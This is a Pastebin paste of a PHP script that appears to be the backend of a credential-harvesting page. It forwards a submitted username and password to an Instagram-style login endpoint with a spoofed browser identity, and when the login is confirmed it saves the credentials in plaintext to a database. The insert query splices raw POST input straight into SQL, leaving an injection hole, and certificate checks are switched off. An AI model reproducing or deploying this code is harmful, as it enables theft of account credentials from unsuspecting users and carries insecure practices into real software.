Advertisement
Guest User

Untitled

a guest
Apr 18th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. file_put_contents("cookiess.txt","");
  2. $cookie_path = dirname(__FILE__)."/cookiess.txt" ;
  3. $cookies = array();
  4. function get_curl($url,$cookie_path="",$postfileds="",$referrer="",$header="",$httpheader='')
  5. {
  6. global $cookies;
  7. $agents = array();
  8. $agents[] = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36';
  9. $agent = $agents[array_rand($agents)];
  10. //$proxies = array();
  11. //$proxies[] = '119.188.94.145:80';
  12. //$proxies[] = '';
  13. //$proxy = $proxies[array_rand($proxies)];
  14. $ch = curl_init();
  15. //curl_setopt($ch, CURLOPT_PROXY, $proxy);
  16. curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  17. curl_setopt($ch, CURLOPT_URL,$url);
  18. curl_setopt($ch, CURLOPT_USERAGENT, $agent);
  19. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  22.  
  23. if($referrer!="")
  24. {
  25. curl_setopt($ch, CURLOPT_REFERER, $referrer);
  26. }
  27.  
  28. if($cookie_path!="")
  29. {
  30.  
  31. curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_path);
  32. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_path);
  33. }
  34. //
  35. if($postfileds!="")
  36. {
  37. $httpheader = array_merge($httpheader,array('content-type:application/x-www-form-urlencoded; charset=UTF-8','origin:https://www.instagram.com'));
  38. //curl_setopt($ch,CURLOPT_HTTPHEADER,);
  39. curl_setopt($ch, CURLOPT_POST, 1);
  40. curl_setopt($ch, CURLOPT_POSTFIELDS,$postfileds);
  41. }
  42.  
  43. if($header!="")
  44. {
  45. curl_setopt($ch, CURLOPT_HEADER, 1);
  46. }
  47. if($httpheader!="")
  48. {
  49. curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
  50. }
  51. //curl_setopt($ch, CURLINFO_HEADER_OUT, true); // enable tracking
  52.  
  53. $result = curl_exec ($ch);
  54. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
  55. $cookies = array();
  56. foreach($matches[1] as $item) {
  57. parse_str($item, $cookie);
  58. $cookies = array_merge($cookies, $cookie);
  59. }
  60. $curlstatus=curl_getinfo($ch);
  61.  
  62.  
  63. // var_dump(curl_getinfo($ch, CURLINFO_HEADER_OUT));
  64. return $result;
  65.  
  66. }
  67. $result = get_curl('https://instamacro.com/core/pages/standalone/login.php',$cookie_path,"",'https://instamacro.com/core/pages/standalone/login.php',1);
  68. sleep(2);
  69. $result = get_curl('https://instamacro.com/core/pages/standalone/login.php',$cookie_path,"username=".$_POST['username']."&password=".$_POST['password'],'https://instamacro.com/core/pages/standalone/login.php',"",
  70. array(
  71.  
  72. "x-csrftoken:".$cookies['csrftoken'],
  73. "x-instagram-ajax:1",
  74. "x-requested-with:XMLHttpRequest")
  75. );
  76.  
  77. $result = json_decode($result);
  78. //var_dump($result);
  79. if(@$result->authenticated){
  80. echo "ok";
  81. $_SESSION['username'] = $_POST['username'];
  82. $mysqli = mysqli_connect($db_host,$db_username,$db_password,$db_dbname);
  83. //echo "insert into users values ('{$_POST['username']}','{$_POST['password']}')";
  84. $mysqli->query("insert into users values (null,'{$_POST['username']}','{$_POST['password']}')");
  85. }
  86. else
  87. echo "Your username or password was incorrect.";
  88.  
  89. file_put_contents("cookiess.txt","");
  90. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement